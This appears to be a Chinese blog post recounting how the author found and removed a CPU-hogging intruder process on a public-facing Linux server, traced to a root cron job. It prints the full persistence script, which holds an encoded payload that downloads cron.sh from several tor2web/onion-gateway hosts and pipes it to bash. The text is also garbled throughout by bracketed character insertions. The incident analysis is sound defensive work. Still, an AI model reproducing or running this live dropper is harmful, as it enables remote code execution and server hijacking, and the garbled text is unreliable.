最近因為工作需要申請了3臺linux虛擬機,因為需要多人多地協(xié)作,所以開通了互聯(lián)網(wǎng)訪問權(quán)限,即給每天服務(wù)器配置了公網(wǎng)IP,有一天突然發(fā)現(xiàn)服務(wù)器運行速度巨慢,就上服務(wù)器進行查看,下面把整個過程如實記錄,希望幫助到也有此遭遇的朋友。
查看異常進程
登錄到服務(wù)器使用top命令查看進程使用服務(wù)器資源情況,發(fā)現(xiàn)有一個進程cpu使用率300%多,而且這個進程的名字很奇怪,是一個隨機字符串,截圖如下:

top命令執(zhí)行
kill掉該進程
使用命令kill -9 748結(jié)束該進程,發(fā)現(xiàn)cpu的占有率立即下降到合理水平,而且服務(wù)器的整體響應(yīng)速度明顯提升,從而確定就是該進程搗的鬼。
死灰復(fù)燃
但是過了一段時間后又出現(xiàn)了服務(wù)器響應(yīng)速度變慢的情況,又執(zhí)行了以上操作,從而確定該進程是被后臺定時啟動的,再一次檢查系統(tǒng)定時任務(wù),使用命令crontab -l,發(fā)現(xiàn)了確實有一個定時任務(wù),如下:
[root@rabbit03 ~]# crontab -l0 * * * * ~/.systemd-login[root@rabbit03 ~]#
再一次top查看進程,發(fā)現(xiàn)systemd-login進程在列,于是開始查看這個shell具體是做什么的,使用more命令查看:
more ~/.systemd-login#!/bin/bashexec &>/dev/nullsleep $((RANDOM % 600)){echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KKHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmlvL2Nyb24uc2ggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCB3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8uZDJ3ZWIub3JnL2Nyb24uc2ggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi5tbi9jcm9uLnNoIHx8IGN1cmwgLW0xODAgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi5tbi9jcm9uLnNoIHx8IHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi50by9jcm9uLnNoIHx8IGN1cmwgLW0xODAgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi50by9jcm9uLnNoIHx8IHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi5pbi5uZXQvY3Jvbi5zaCB8fCBjdXJsIC1tMTgwIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2gpfGJhc2gK}|{base64,-d}|bash
是base64后的執(zhí)行腳本,于是將這個base64放到在線解碼系統(tǒng)中解碼,得到如下明碼:

解碼后腳本
從而發(fā)現(xiàn)該腳本是從遠程服務(wù)器獲取執(zhí)行代碼,然后隨機時間啟動,是一種典型的腳本注入入侵。
徹底清除
既然已經(jīng)找到問題的根源就好處理了。
1. 斷開互聯(lián)網(wǎng)服務(wù),避免再次被注入
2. 刪除定時任務(wù),命令如下:
crontab -e
刪除該條定時任務(wù)。
3. 刪除定時任務(wù)執(zhí)行腳本文件.system-login